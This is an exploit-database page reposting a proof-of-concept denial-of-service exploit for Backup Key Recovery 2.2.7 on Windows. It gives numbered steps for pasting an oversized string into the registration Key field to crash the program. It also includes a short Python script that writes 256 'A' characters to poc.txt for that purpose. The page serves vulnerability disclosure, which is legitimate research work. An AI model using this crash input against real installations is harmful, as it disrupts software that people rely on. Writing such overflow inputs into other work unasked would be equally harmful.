Backup key recovery 2.2.7 denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-06-08 | Type : local | Platform : windows
This exploit / vulnerability Backup key recovery 2.2.7 denial of service (poc) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Backup Key Recovery 2.2.7 - Denial of Service (PoC)
# Date: 07/06/2021
# Author: Erick Galindo
# Vendor Homepage: http://www.nsauditor.com
# Software http://www.nsauditor.com/downloads/backeyrecovery_setup.exe
# Version: 2.2.7.0
# Tested on: Windows 10 Pro x64 es

# Proof of Concept:
#1.- Copy printed "AAAAA..." string to clipboard!
#2.- Open BackupKeyRecovery.exe
#3.- Go to Register > Enter Registration Code...
#4.- Write anything in 'Name' field
#5.- Paste clipboard in 'Key' field
#6.- Click on button -> Ok

buffer = "\x41" * 256

f = open ("poc.txt", "w")
f.write(buffer)
f.close()